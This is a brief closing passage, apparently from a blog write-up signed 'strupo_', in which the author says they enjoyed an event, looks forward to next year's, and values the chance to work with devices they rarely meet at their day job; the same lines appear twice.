In the end - I had a blast and I look forward to this event next year. It's rare for me to encounter these types of devices in my day job, so I'm grateful for the opportunity and experience.
-strupo_
In the end - I had a blast and I look forward to this event next year. It's rare for me to encounter these types of devices in my day job, so I'm grateful for the opportunity and experience.
-strupo_